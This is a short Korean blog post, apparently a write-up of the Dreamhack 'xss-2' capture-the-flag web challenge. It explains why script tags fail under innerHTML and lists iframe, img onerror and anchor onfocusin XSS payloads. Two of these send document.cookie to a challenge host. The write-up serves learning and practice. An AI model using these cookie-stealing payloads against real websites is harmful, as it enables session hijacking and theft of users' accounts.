hacking/WEB hacking
xss-2
kiwiiiv
2021. 8. 19. 23:03
param의 인자로 전달된 값이 div 태그 안에 적용됨.
이 때 getElementById().innerHTML을 사용하였기 때문에 위와 같이 스크립트 태그를 이용한 스크립트 실행은 작동하지 않는다고 함.
(구글링을 통하여 알아본 결과로는 "<scr"+"ipt>"와 같은 형태로는 작동된다고 함.)
따라서 script 태그가 아닌 다른 태그를 이용하여 시도하였음.
1) iframe
위와 같이, iframe을 이용한 방법을 시도
-> document.cookie를 넘겨야 함.
<iframe id="iframme"></iframe><script>document.getElementById("iframme").src="http://host1.dreamhack.games/memo?memo="+document.cookie</script>
와 같은 형태로 시도해 보았으나 위에 작성된 이유로 인하여 스크립트가 동작하지 않아 x
2) img
img onerror 를 이용하여 location.href 스크립트를 삽입
정상 작동하여 해결함.
<img src="dfdd::" onerror="location.href='http://host1.dreamhack.games:19248/memo?memo='+document.cookie" />
++
3) a
<a tabindex=1 onfocusin=location.href="/memo?memo="+document.cookie autofocus>flag</a>
onfocusin / onfocusout
(클릭해야 작동.)